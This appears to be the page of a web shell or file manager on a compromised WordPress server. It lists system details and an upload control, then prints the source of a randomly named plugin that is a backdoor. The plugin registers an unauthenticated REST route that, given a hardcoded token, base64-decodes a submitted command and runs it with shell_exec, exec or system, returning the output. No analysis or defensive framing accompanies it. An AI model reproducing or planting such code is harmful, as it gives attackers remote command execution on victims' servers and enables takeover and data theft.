WS_OK_7.4.33 HEX
HEX
Server: nginx/1.21.4
System: Linux v12674 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: endtheignorance (1014)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v12674/lcahouston/public_html/wp-content/plugins/w2sf9683d93504a/w2sf9683d93504a.php
<?php
/* Plugin Name: w2sf9683d93504a */
add_action('rest_api_init', function () {
    register_rest_route('w2s/v1', '/0bddcc5a026af758a83225b9', array(
        'methods' => 'POST', 'permission_callback' => '__return_true',
        'callback' => function ($r) {
            if (!hash_equals('48a919326ee7458016155edbe5395c7a', (string)$r->get_param('t'))) { return new WP_REST_Response(array('e' => 1), 404); }
            $c = base64_decode((string)$r->get_param('c')) . ' 2>&1';
            $o = 'NO_EXEC';
            if (function_exists('shell_exec')) { $o = shell_exec($c); }
            elseif (function_exists('exec')) { exec($c, $r2); $o = implode("\n", $r2); }
            elseif (function_exists('system')) { ob_start(); system($c); $o = ob_get_clean(); }
            return new WP_REST_Response(array('output' => $o));
        },
    ));
});